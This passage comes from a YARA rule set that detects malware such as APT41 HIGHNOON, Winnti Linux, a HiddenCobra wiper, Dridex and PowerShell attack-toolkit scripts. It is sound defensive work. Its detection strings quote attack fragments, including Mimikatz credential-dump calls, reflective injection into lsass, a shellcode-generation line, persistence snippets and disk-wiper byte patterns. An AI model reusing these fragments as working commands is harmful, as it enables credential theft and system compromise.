		uint16( 0 ) == 0x5a4d and filesize < 10000KB and ( pe.imphash ( ) == "1b074ef7a1c0888ef31337c8ad2f2e0a" or 2 of them )
}

rule APT_APT41_HIGHNOON
{
	meta:
		description = "Detects APT41 malware HIGHNOON"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.fireeye.com/blog/threat-research/2019/08/apt41-dual-espionage-and-cyber-crime-operation.html"
		date = "2019-08-07"
		score = 85
		hash1 = "63e8ed9692810d562adb80f27bb1aeaf48849e468bf5fd157bc83ca83139b6d7"
		hash2 = "4aa6970cac04ace4a930de67d4c18106cf4004ba66670cfcdaa77a4c4821a213"
		id = "6611fb04-7237-52d1-b29f-941c3853aeca"

	strings:
		$x1 = "workdll64.dll" fullword ascii
		$s1 = "\\Fonts\\Error.log" ascii
		$s2 = "[%d/%d/%d/%d:%d:%d]" fullword ascii
		$s3 = "work_end" fullword ascii
		$s4 = "work_start" fullword ascii
		$s5 = "\\svchost.exe" ascii
		$s6 = "LoadAppInit_DLLs" fullword ascii
		$s7 = "netsvcs" fullword ascii
		$s8 = "HookAPIs ...PID %d " fullword ascii
		$s9 = "SOFTWARE\\Microsoft\\HTMLHelp" fullword ascii
		$s0 = "DllMain_mem" fullword ascii
		$s10 = "%s\\NtKlRes.dat" fullword ascii
		$s11 = "Global\\%s-%d" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 2000KB and ( 1 of ( $x* ) or 4 of them )
}

import "pe"

rule APT_APT41_HIGHNOON_2
{
	meta:
		description = "Detects APT41 malware HIGHNOON"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.fireeye.com/blog/threat-research/2019/08/apt41-dual-espionage-and-cyber-crime-operation.html"
		date = "2019-08-07"
		hash1 = "79190925bd1c3fae65b0d11db40ac8e61fb9326ccfed9b7e09084b891089602d"
		id = "1e48d859-2da9-583e-80e5-8d59054cfb85"

	strings:
		$x1 = "H:\\RBDoor\\" ascii
		$s1 = "PlusDll.dll" fullword ascii
		$s2 = "ShutDownEvent.dll" fullword ascii
		$s3 = "\\svchost.exe" ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 600KB and ( pe.imphash ( ) == "b70358b00dd0138566ac940d0da26a03" or pe.exports ( "DllMain_mem" ) or $x1 or 3 of them )
}

import "pe"

rule APT_APT41_HIGHNOON_BIN
{
	meta:
		description = "Detects APT41 malware HIGHNOON.BIN"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.fireeye.com/blog/threat-research/2019/08/apt41-dual-espionage-and-cyber-crime-operation.html"
		date = "2019-08-07"
		score = 90
		hash1 = "490c3e4af829e85751a44d21b25de1781cfe4961afdef6bb5759d9451f530994"
		hash2 = "79190925bd1c3fae65b0d11db40ac8e61fb9326ccfed9b7e09084b891089602d"
		id = "c8bd62b4-b882-5c04-aace-76dd4a21a784"

	strings:
		$s1 = "PlusDll.dll" fullword ascii
		$s2 = "\\Device\\PORTLESS_DeviceName" wide
		$s3 = "%s%s\\Security" fullword ascii
		$s4 = "%s\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings" fullword ascii
		$s5 = "%s%s\\Enum" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 600KB and ( pe.imphash ( ) == "b70358b00dd0138566ac940d0da26a03" or 3 of them )
}

rule APT_APT41_HIGHNOON_BIN_2
{
	meta:
		description = "Detects APT41 malware HIGHNOON.BIN"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.fireeye.com/blog/threat-research/2019/08/apt41-dual-espionage-and-cyber-crime-operation.html"
		date = "2019-08-07"
		score = 85
		hash1 = "63e8ed9692810d562adb80f27bb1aeaf48849e468bf5fd157bc83ca83139b6d7"
		hash2 = "c51c5bbc6f59407286276ce07f0f7ea994e76216e0abe34cbf20f1b1cbd9446d"
		id = "37d6a44d-7811-5e87-84e2-b2a8b3da3124"

	strings:
		$x1 = "\\Double\\Door_wh\\" ascii
		$x2 = "[Stone] Config --> 2k3 TCP Positive Logout." fullword ascii
		$x3 = "\\RbDoorX64.pdb" ascii
		$x4 = "RbDoor, Version 1.0" fullword wide
		$x5 = "About RbDoor" fullword wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 2000KB and 1 of them
}

import "pe"

rule APT_APT41_RevokedCert_Aug19_1
{
	meta:
		description = "Detects revoked certificates used by APT41 group"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.fireeye.com/blog/threat-research/2019/08/apt41-dual-espionage-and-cyber-crime-operation.html"
		date = "2019-08-07"
		score = 60
		id = "f107cc42-58ec-500d-b1c3-27e9e00826aa"

	condition:
		uint16( 0 ) == 0x5a4d and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . serial == "0b:72:79:06:8b:eb:15:ff:e8:06:0d:2c:56:15:3c:35" or pe.signatures [ i ] . serial == "63:66:a9:ac:97:df:4d:e1:73:66:94:3c:9b:29:1a:aa" or pe.signatures [ i ] . serial == "01:00:00:00:00:01:30:73:85:f7:02" or pe.signatures [ i ] . serial == "14:0d:2c:51:5e:8e:e9:73:9b:b5:f1:b2:63:7d:c4:78" or pe.signatures [ i ] . serial == "7b:d5:58:18:c5:97:1b:63:dc:45:cf:57:cb:eb:95:0b" or pe.signatures [ i ] . serial == "53:0c:e1:4c:81:f3:62:10:a1:68:2a:ff:17:9e:25:80" or pe.signatures [ i ] . serial == "54:c6:c1:40:6f:b4:ac:b5:d2:06:74:e9:93:92:c6:3e" or pe.signatures [ i ] . serial == "fd:f2:83:7d:ac:12:b7:bb:30:ad:05:8f:99:9e:cf:00" or pe.signatures [ i ] . serial == "18:63:79:57:5a:31:46:e2:6b:ef:c9:0a:58:0d:1b:d2" or pe.signatures [ i ] . serial == "5c:2f:97:a3:1a:bc:32:b0:8c:ac:01:00:59:8f:32:f6" or pe.signatures [ i ] . serial == "4c:0b:2e:9d:2e:f9:09:d1:52:70:d4:dd:7f:a5:a4:a5" or pe.signatures [ i ] . serial == "58:01:5a:cd:50:1f:c9:c3:44:26:4e:ac:e2:ce:57:30" or pe.signatures [ i ] . serial == "47:6b:f2:4a:4b:1e:9f:4b:c2:a6:1b:15:21:15:e1:fe" or pe.signatures [ i ] . serial == "30:d3:c1:67:26:5b:52:0c:b8:7f:25:84:4f:95:cb:04" or pe.signatures [ i ] . serial == "1e:52:bb:f5:c9:0e:c1:64:d0:5b:e0:e4:16:61:52:5f" or pe.signatures [ i ] . serial == "25:f8:78:22:de:56:d3:98:21:59:28:73:ea:09:ca:37" or pe.signatures [ i ] . serial == "67:24:34:0d:db:c7:25:2f:7f:b7:14:b8:12:a5:c0:4d" )
}

rule APT_APT41_CN_ELF_Speculoos_Backdoor
{
	meta:
		description = "Detects Speculoos Backdoor used by APT41"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://unit42.paloaltonetworks.com/apt41-using-new-speculoos-backdoor-to-target-organizations-globally/"
		date = "2020-04-14"
		score = 90
		hash1 = "6943fbb194317d344ca9911b7abb11b684d3dca4c29adcbcff39291822902167"
		hash2 = "99c5dbeb545af3ef1f0f9643449015988c4e02bf8a7164b5d6c86f67e6dc2d28"
		id = "efe2b368-33af-5382-a5f0-0e7dd7f4dea4"

	strings:
		$xc1 = { 2F 70 72 69 76 61 74 65 2F 76 61 72 00 68 77 2E
               70 68 79 73 6D 65 6D 00 68 77 2E 75 73 65 72 6D
               65 6D 00 4E 41 2D 4E 41 2D 4E 41 2D 4E 41 2D 4E
               41 2D 4E 41 00 6C 6F 30 00 00 00 00 25 30 32 78
               2D 25 30 32 78 2D 25 30 32 78 2D 25 30 32 78 2D
               25 30 32 78 2D 25 30 32 78 0A 00 72 00 4E 41 00
               75 6E 61 6D 65 20 2D 76 }
		$s1 = "badshell" ascii fullword
		$s2 = "hw.physmem" ascii fullword
		$s3 = "uname -v" ascii fullword
		$s4 = "uname -s" ascii fullword
		$s5 = "machdep.tsc_freq" ascii fullword
		$s6 = "/usr/sbin/config.bak" ascii fullword
		$s7 = "enter MessageLoop..." ascii fullword
		$s8 = "exit StartCBProcess..." ascii fullword
		$sc1 = { 72 6D 20 2D 72 66 20 22 25 73 22 00 2F 70 72 6F
               63 2F }

	condition:
		uint16( 0 ) == 0x457f and filesize < 600KB and 1 of ( $x* ) or 4 of them
}

rule ce_enfal_cmstar_debug_msg
{
	meta:
		author = "rfalcone"
		description = "Detects the static debug strings within CMSTAR"
		reference = "http://goo.gl/JucrP9"
		hash = "9b9cc7e2a2481b0472721e6b87f1eba4faf2d419d1e2c115a91ab7e7e6fc7f7c"
		date = "5/10/2015"
		id = "2c483f20-4fa8-5246-9dcb-8868db64b6e3"

	strings:
		$d1 = "EEE\x0d\x0a" fullword
		$d2 = "TKE\x0d\x0a" fullword
		$d3 = "VPE\x0d\x0a" fullword
		$d4 = "VPS\x0d\x0a" fullword
		$d5 = "WFSE\x0d\x0a" fullword
		$d6 = "WFSS\x0d\x0a" fullword
		$d7 = "CM**\x0d\x0a" fullword

	condition:
		uint16( 0 ) == 0x5a4d and all of ( $d* )
}

import "pe"

rule MAL_Hogfish_Report_Related_Sample
{
	meta:
		description = "Detects APT10 / Hogfish related samples"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.accenture.com/t20180423T055005Z__w__/se-en/_acnmedia/PDF-76/Accenture-Hogfish-Threat-Analysis.pdf"
		date = "2018-05-01"
		hash1 = "f9acc706d7bec10f88f9cfbbdf80df0d85331bd4c3c0188e4d002d6929fe4eac"
		hash2 = "7188f76ca5fbc6e57d23ba97655b293d5356933e2ab5261e423b3f205fe305ee"
		hash3 = "4de5a22cd798950a69318fdcc1ec59e9a456b4e572c2d3ac4788ee96a4070262"
		id = "7fc4fdda-b71f-5c9c-87a4-5d8290b99348"

	strings:
		$s1 = "R=user32.dll" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 1000KB and ( pe.imphash ( ) == "efad9ff8c0d2a6419bf1dd970bcd806d" or 1 of them )
}

import "pe"

rule MAL_RedLeaves_Apr18_1
{
	meta:
		description = "Detects RedLeaves malware"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.accenture.com/t20180423T055005Z__w__/se-en/_acnmedia/PDF-76/Accenture-Hogfish-Threat-Analysis.pdf"
		date = "2018-05-01"
		hash1 = "f6449e255bc1a9d4a02391be35d0dd37def19b7e20cfcc274427a0b39cb21b7b"
		hash2 = "db7c1534dede15be08e651784d3a5d2ae41963d192b0f8776701b4b72240c38d"
		hash3 = "d956e2ff1b22ccee2c5d9819128103d4c31ecefde3ce463a6dea19ecaaf418a1"
		id = "578b40d7-6818-56d5-92ce-535141c0aa8e"

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 1000KB and ( pe.imphash ( ) == "7a861cd9c495e1d950a43cb708a22985" or pe.imphash ( ) == "566a7a4ef613a797389b570f8b4f79df" )
}

rule HiddenCobra_r4_wiper_1
{
	meta:
		author = "NCCIC Partner"
		date = "2017-12-12"
		description = "Detects HiddenCobra Wiper"
		reference = "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536.11.WHITE.pdf"
		id = "4978c190-7b66-5cea-96df-809f85620986"

	strings:
		$mbr_code = { 33 C0 8E D0 BC 00 7C FB 50 07 50 1F FC BE 5D 7C 33 C9 41 81 F9 00 ?? 74 24 B4 43 B0 00 CD 13 FE C2 80 FA 84 7C F3 B2 80 BF 65 7C 81 05 00 04 83 55 02 00 83 55 04 00 83 55 06 00 EB D5 BE 4D 7C B4 43 B0 00 CD 13 33 C9 BE 5D 7C EB C5 }
		$controlServiceFoundlnBoth = { 83 EC 1C 57 68 3F 00 0F 00 6A 00 6A 00 FF 15 ?? ?? ?? ?? 8B F8 85 FF 74 44 8B 44 24 24 53 56 6A 24 50 57 FF 15 ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 8B F0 85 F6 74 1C 8D 4C 24 0C 51 6A 01 56 FF 15 ?? ?? ?? ?? 68 E8 03 00 00 FF 15 ?? ?? ?? ?? 56 FF D3 57 FF D3 5E 5B 33 C0 5F 83 C4 1C C3 33 C0 5F 83 C4 1C C3 }

	condition:
		uint16( 0 ) == 0x5a4d and uint16( uint32( 0x3c ) ) == 0x4550 and any of them
}

rule HiddenCobra_r4_wiper_2
{
	meta:
		author = "NCCIC Partner"
		date = "2017-12-12"
		description = "Detects HiddenCobra Wiper"
		reference = "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536.11.WHITE.pdf"
		id = "75acc3cb-90dd-58e8-b094-ed3f28650b1b"

	strings:
		$PhysicalDriveSTR = "\\\\.\\PhysicalDrive" wide
		$ExtendedWrite = { B4 43 B0 00 CD 13 }

	condition:
		uint16( 0 ) == 0x5a4d and uint16( uint32( 0x3c ) ) == 0x4550 and all of them
}

rule Dridex_Trojan_XML
{
	meta:
		description = "Dridex Malware in XML Document"
		author = "Florian Roth (Nextron Systems) @4nc4p"
		reference = "https://threatpost.com/dridex-banking-trojan-spreading-via-macros-in-xml-files/111503"
		date = "2015/03/08"
		hash1 = "88d98e18ed996986d26ce4149ae9b2faee0bc082"
		hash2 = "3b2d59adadf5ff10829bb5c27961b22611676395"
		hash3 = "e528671b1b32b3fa2134a088bfab1ba46b468514"
		hash4 = "981369cd53c022b434ee6d380aa9884459b63350"
		hash5 = "96e1e7383457293a9b8f2c75270b58da0e630bea"
		id = "a8f3406c-f8b0-559f-be12-6b2a7d401ac2"

	strings:
		$c_xml = "<?xml version="
		$c_word = "<?mso-application progid=\"Word.Document\"?>"
		$c_macro = "w:macrosPresent=\"yes\""
		$c_binary = "<w:binData w:name="
		$c_0_chars = "<o:Characters>0</o:Characters>"
		$c_1_line = "<o:Lines>1</o:Lines>"

	condition:
		all of ( $c* )
}

rule ps1_toolkit_PowerUp
{
	meta:
		description = "Auto-generated rule - file PowerUp.ps1"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/vysec/ps1-toolkit"
		date = "2016-09-04"
		score = 80
		hash1 = "fc65ec85dbcd49001e6037de9134086dd5559ac41ac4d1adf7cab319546758ad"
		id = "ff3eeec3-602d-5824-8a50-aed2081f49bc"

	strings:
		$s1 = "iex \"$Env:SystemRoot\\System32\\inetsrv\\appcmd.exe list vdir /text:vdir.name\" | % { " fullword ascii
		$s2 = "iex \"$Env:SystemRoot\\System32\\inetsrv\\appcmd.exe list apppools /text:name\" | % { " fullword ascii
		$s3 = "if ($Env:PROCESSOR_ARCHITECTURE -eq $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QQBNAEQANgA0AA==')))) {" fullword ascii
		$s4 = "C:\\Windows\\System32\\InetSRV\\appcmd.exe list vdir /text:physicalpath | " fullword ascii
		$s5 = "if (Test-Path  (\"$Env:SystemRoot\\System32\\inetsrv\\appcmd.exe\"))" fullword ascii
		$s6 = "if (Test-Path  (\"$Env:SystemRoot\\System32\\InetSRV\\appcmd.exe\")) {" fullword ascii
		$s7 = "Write-Verbose \"Executing command '$Cmd'\"" fullword ascii
		$s8 = "Write-Warning \"[!] Target service" fullword ascii

	condition:
		( uint16( 0 ) == 0xbbef and filesize < 4000KB and 1 of them ) or ( 3 of them )
}

rule ps1_toolkit_Inveigh_BruteForce
{
	meta:
		description = "Auto-generated rule - file Inveigh-BruteForce.ps1"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/vysec/ps1-toolkit"
		date = "2016-09-04"
		score = 80
		hash1 = "a2ae1e02bcb977cd003374f551ed32218dbcba3120124e369cc150b9a63fe3b8"
		id = "cdc298d3-f9ac-5472-bdc9-0dc51ad91e4a"

	strings:
		$s1 = "Import-Module .\\Inveigh.psd1;Invoke-InveighBruteForce -SpooferTarget 192.168.1.11 " fullword ascii
		$s2 = "$(Get-Date -format 's') - Attempting to stop HTTP listener\")|Out-Null" fullword ascii
		$s3 = "Invoke-InveighBruteForce -SpooferTarget 192.168.1.11 -Hostname server1" fullword ascii

	condition:
		( uint16( 0 ) == 0xbbef and filesize < 300KB and 1 of them ) or ( 2 of them )
}

rule ps1_toolkit_Invoke_Shellcode
{
	meta:
		description = "Auto-generated rule - file Invoke-Shellcode.ps1"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/vysec/ps1-toolkit"
		date = "2016-09-04"
		score = 80
		hash1 = "24abe9f3f366a3d269f8681be80c99504dea51e50318d83ee42f9a4c7435999a"
		id = "193d64b6-ffba-55fb-ab95-9c78552b8d68"

	strings:
		$s1 = "Get-ProcAddress kernel32.dll WriteProcessMemory" fullword ascii
		$s2 = "Get-ProcAddress kernel32.dll OpenProcess" fullword ascii
		$s3 = "msfpayload windows/exec CMD=\"cmd /k calc\" EXITFUNC=thread C | sed '1,6d;s/[\";]//g;s/\\\\/,0/g' | tr -d '\\n' | cut -c2- " fullword ascii
		$s4 = "inject shellcode into" ascii
		$s5 = "Injecting shellcode" ascii

	condition:
		( uint16( 0 ) == 0xbbef and filesize < 90KB and 1 of them ) or ( 3 of them )
}

rule ps1_toolkit_Invoke_Mimikatz
{
	meta:
		description = "Auto-generated rule - file Invoke-Mimikatz.ps1"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/vysec/ps1-toolkit"
		date = "2016-09-04"
		score = 80
		hash1 = "5c31a2e3887662467cfcb0ac37e681f1d9b0f135e6dfff010aae26587e03d8c8"
		id = "7c0252a1-fbe4-5519-949b-285073abb21f"

	strings:
		$s1 = "Get-ProcAddress kernel32.dll WriteProcessMemory" fullword ascii
		$s2 = "ps | where { $_.Name -eq $ProcName } | select ProcessName, Id, SessionId" fullword ascii
		$s3 = "privilege::debug exit" ascii
		$s4 = "Get-ProcAddress Advapi32.dll AdjustTokenPrivileges" fullword ascii
		$s5 = "Invoke-Mimikatz -DumpCreds" fullword ascii
		$s6 = "| Add-Member -MemberType NoteProperty -Name IMAGE_FILE_EXECUTABLE_IMAGE -Value 0x0002" fullword ascii

	condition:
		( uint16( 0 ) == 0xbbef and filesize < 10000KB and 1 of them ) or ( 3 of them )
}

rule ps1_toolkit_Invoke_RelfectivePEInjection
{
	meta:
		description = "Auto-generated rule - file Invoke-RelfectivePEInjection.ps1"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/vysec/ps1-toolkit"
		date = "2016-09-04"
		score = 80
		hash1 = "510b345f821f93c1df5f90ac89ad91fcd0f287ebdabec6c662b716ec9fddb03a"
		id = "75ceb01e-103f-55b2-8362-42d22a35a36a"

	strings:
		$x1 = "Invoke-ReflectivePEInjection -PEBytes $PEBytes -FuncReturnType WString -ComputerName (Get-Content targetlist.txt)" fullword ascii
		$x2 = "Invoke-ReflectivePEInjection -PEBytes $PEBytes -FuncReturnType WString -ComputerName Target.local" fullword ascii
		$x3 = "} = Get-ProcAddress Advapi32.dll OpenThreadToken" ascii
		$x4 = "Invoke-ReflectivePEInjection -PEBytes $PEBytes -ProcName lsass -ComputerName Target.Local" fullword ascii
		$s5 = "$PEBytes = [IO.File]::ReadAllBytes('DemoDLL_RemoteProcess.dll')" fullword ascii
		$s6 = "= Get-ProcAddress Advapi32.dll AdjustTokenPrivileges" ascii

	condition:
		( uint16( 0 ) == 0xbbef and filesize < 700KB and 2 of them ) or ( all of them )
}

rule ps1_toolkit_Persistence
{
	meta:
		description = "Auto-generated rule - file Persistence.ps1"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/vysec/ps1-toolkit"
		date = "2016-09-04"
		score = 80
		hash1 = "e1a4dd18b481471fc25adea6a91982b7ffed1c2d393c8c17e6e542c030ac6cbd"
		id = "38115391-75ac-5ba8-b31b-dcf4c66179b0"

	strings:
		$s1 = "\"`\"```$Filter=Set-WmiInstance -Class __EventFilter -Namespace ```\"root\\subscription```" ascii
		$s2 = "}=$PROFILE.AllUsersAllHosts;${" ascii
		$s3 = "C:\\PS> $ElevatedOptions = New-ElevatedPersistenceOption -Registry -AtStartup" ascii
		$s4 = "= gwmi Win32_OperatingSystem | select -ExpandProperty OSArchitecture" ascii
		$s5 = "-eq $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('MAAxADQAQwA='))))" ascii
		$s6 = "}=$PROFILE.CurrentUserAllHosts;${" ascii
		$s7 = "FromBase64String('UwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBPAG4ASQBkAGwAZQA=')" ascii
		$s8 = "[System.Text.AsciiEncoding]::ASCII.GetString($MZHeader)" fullword ascii

	condition:
		( uint16( 0 ) == 0xbbef and filesize < 200KB and 2 of them ) or ( 4 of them )
}

rule ps1_toolkit_Invoke_Mimikatz_RelfectivePEInjection
{
	meta:
		description = "Auto-generated rule - from files Invoke-Mimikatz.ps1, Invoke-RelfectivePEInjection.ps1"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/vysec/ps1-toolkit"
		date = "2016-09-04"
		score = 80
		super_rule = 1
		hash1 = "5c31a2e3887662467cfcb0ac37e681f1d9b0f135e6dfff010aae26587e03d8c8"
		hash2 = "510b345f821f93c1df5f90ac89ad91fcd0f287ebdabec6c662b716ec9fddb03a"
		id = "e9471f95-48e1-57e0-b0be-f916c574a6a7"

	strings:
		$s1 = "[IntPtr]$DllAddress = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ReturnValMem, [Type][IntPtr])" fullword ascii
		$s2 = "if ($GetCommandLineAAddr -eq [IntPtr]::Zero -or $GetCommandLineWAddr -eq [IntPtr]::Zero)" fullword ascii
		$s3 = "[Byte[]]$Shellcode2 = @(0xc6, 0x03, 0x01, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xbb)" fullword ascii
		$s4 = "Function Import-DllInRemoteProcess" fullword ascii
		$s5 = "FromBase64String('QwBvAG4AdABpAG4AdQBlAA==')))" fullword ascii
		$s6 = "[Byte[]]$Shellcode2 = @(0xc6, 0x03, 0x01, 0x83, 0xec, 0x20, 0x83, 0xe4, 0xc0, 0xbb)" fullword ascii
		$s7 = "[System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenPrivilegesMem)" fullword ascii
		$s8 = "[System.Runtime.InteropServices.Marshal]::StructureToPtr($CurrAddr, $FinalAddr, $false) | Out-Null" fullword ascii
		$s9 = "::FromBase64String('RABvAG4AZQAhAA==')))" ascii
		$s10 = "Write-Verbose \"PowerShell ProcessID: $PID\"" fullword ascii
		$s11 = "[IntPtr]$ProcAddress = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ReturnValMem, [Type][IntPtr])" fullword ascii

	condition:
		( uint16( 0 ) == 0xbbef and filesize < 10000KB and 3 of them ) or ( 6 of them )
}

rule ps1_toolkit_Inveigh_BruteForce_2
{
	meta:
		description = "Auto-generated rule - from files Inveigh-BruteForce.ps1"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/vysec/ps1-toolkit"
		date = "2016-09-04"
		score = 80
		hash1 = "a2ae1e02bcb977cd003374f551ed32218dbcba3120124e369cc150b9a63fe3b8"
		id = "1319b03d-67e8-5155-8037-e3375e39f6a0"

	strings:
		$s1 = "}.NTLMv2_file_queue[0]|Out-File ${" ascii
		$s2 = "}.NTLMv2_file_queue.RemoveRange(0,1)" ascii
		$s3 = "}.NTLMv2_file_queue.Count -gt 0)" ascii
		$s4 = "}.relay_running = $false" ascii

	condition:
		( uint16( 0 ) == 0xbbef and filesize < 200KB and 2 of them ) or ( 4 of them )
}

rule ps1_toolkit_PowerUp_2
{
	meta:
		description = "Auto-generated rule - from files PowerUp.ps1"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/vysec/ps1-toolkit"
		date = "2016-09-04"
		score = 80
		hash1 = "fc65ec85dbcd49001e6037de9134086dd5559ac41ac4d1adf7cab319546758ad"
		id = "11322a66-67d4-574b-acef-35d06e6f95f4"

	strings:
		$s1 = "if($MyConString -like $([Text.Encoding]::Unicode.GetString([Convert]::" ascii
		$s2 = "FromBase64String('KgBwAGEAcwBzAHcAbwByAGQAKgA=')))) {" ascii
		$s3 = "$Null = Invoke-ServiceStart" ascii
		$s4 = "Write-Warning \"[!] Access to service $" ascii
		$s5 = "} = $MyConString.Split(\"=\")[1].Split(\";\")[0]" ascii
		$s6 = "} += \"net localgroup ${" ascii

	condition:
		( uint16( 0 ) == 0xbbef and filesize < 2000KB and 2 of them ) or ( 4 of them )
}

rule ps1_toolkit_Persistence_2
{
	meta:
		description = "Auto-generated rule - from files Persistence.ps1"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/vysec/ps1-toolkit"
		date = "2016-09-04"
		score = 80
		hash1 = "e1a4dd18b481471fc25adea6a91982b7ffed1c2d393c8c17e6e542c030ac6cbd"
		id = "d79c328b-4471-52bb-882c-12d2e1302c1e"

	strings:
		$s1 = "FromBase64String('UwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBPAG4ASQBkAGwAZQA=')" ascii
		$s2 = "FromBase64String('UwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBEAGEAaQBsAHkA')" ascii
		$s3 = "FromBase64String('UAB1AGIAbABpAGMALAAgAFMAdABhAHQAaQBjAA==')" ascii
		$s4 = "[Parameter( ParameterSetName = 'ScheduledTaskAtLogon', Mandatory = $True )]" ascii
		$s5 = "FromBase64String('UwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBBAHQATABvAGcAbwBuAA==')))" ascii
		$s6 = "[Parameter( ParameterSetName = 'PermanentWMIAtStartup', Mandatory = $True )]" fullword ascii
		$s7 = "FromBase64String('TQBlAHQAaABvAGQA')" ascii
		$s8 = "FromBase64String('VAByAGkAZwBnAGUAcgA=')" ascii
		$s9 = "[Runtime.InteropServices.CallingConvention]::Winapi," fullword ascii

	condition:
		( uint16( 0 ) == 0xbbef and filesize < 200KB and 2 of them ) or ( 4 of them )
}

rule ps1_toolkit_Inveigh_BruteForce_3
{
	meta:
		description = "Auto-generated rule - from files Inveigh-BruteForce.ps1"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/vysec/ps1-toolkit"
		date = "2016-09-04"
		score = 80
		hash3 = "a2ae1e02bcb977cd003374f551ed32218dbcba3120124e369cc150b9a63fe3b8"
		id = "d284e93b-dd65-5a39-84e2-287feb6ae05b"

	strings:
		$s1 = "::FromBase64String('TgBUAEwATQA=')" ascii
		$s2 = "::FromBase64String('KgBTAE0AQgAgAHIAZQBsAGEAeQAgACoA')))" ascii
		$s3 = "::FromBase64String('KgAgAGYAbwByACAAcgBlAGwAYQB5ACAAKgA=')))" ascii
		$s4 = "::FromBase64String('KgAgAHcAcgBpAHQAdABlAG4AIAB0AG8AIAAqAA==')))" ascii
		$s5 = "[Byte[]] $HTTP_response = (0x48,0x54,0x54,0x50,0x2f,0x31,0x2e,0x31,0x20)`" fullword ascii
		$s6 = "KgAgAGwAbwBjAGEAbAAgAGEAZABtAGkAbgBpAHMAdAByAGEAdABvAHIAIAAqAA" ascii
		$s7 = "}.bruteforce_running)" ascii

	condition:
		( uint16( 0 ) == 0xbbef and filesize < 200KB and 2 of them ) or ( 4 of them )
}

rule APT_MAL_WinntiLinux_Dropper_AzazelFork_May19 : azazel_fork
{
	meta:
		description = "Detection of Linux variant of Winnti"
		author = "Silas Cutler (havex [@] chronicle.security), Chronicle Security"
		version = "1.0"
		date = "2019-05-15"
		TLP = "White"
		sha256 = "4741c2884d1ca3a40dadd3f3f61cb95a59b11f99a0f980dbadc663b85eb77a2a"
		id = "d641de9a-e563-5067-b7e4-0aa83a087ed4"

	strings:
		$config_decr = { 48 89 45 F0 C7 45 EC 08 01 00 00 C7 45 FC 28 00 00 00 EB 31 8B 45 FC 48 63 D0 48 8B 45 F0 48 01 C2 8B 45 FC 48 63 C8 48 8B 45 F0 48 01 C8 0F B6 00 89 C1 8B 45 F8 89 C6 8B 45 FC 01 F0 31 C8 88 02 83 45 FC 01 }
		$export1 = "our_sockets"
		$export2 = "get_our_pids"

	condition:
		uint16( 0 ) == 0x457f and all of them
}

rule APT_MAL_WinntiLinux_Main_AzazelFork_May19
{
	meta:
		description = "Detection of Linux variant of Winnti"
		author = "Silas Cutler (havex [@] chronicle.security), Chronicle Security"
		version = "1.0"
		date = "2019-05-15"
		TLP = "White"
		sha256 = "ae9d6848f33644795a0cc3928a76ea194b99da3c10f802db22034d9f695a0c23"
		id = "a1693e2d-4d89-5cc7-ab14-c8feb000638a"

	strings:
		$uuid_lookup = "/usr/sbin/dmidecode  | grep -i 'UUID' |cut -d' ' -f2 2>/dev/null"
		$dbg_msg = "[advNetSrv] can not create a PF_INET socket"
		$rtti_name1 = "CNetBase"
		$rtti_name2 = "CMyEngineNetEvent"
		$rtti_name3 = "CBufferCache"
		$rtti_name4 = "CSocks5Base"
		$rtti_name5 = "CDataEngine"
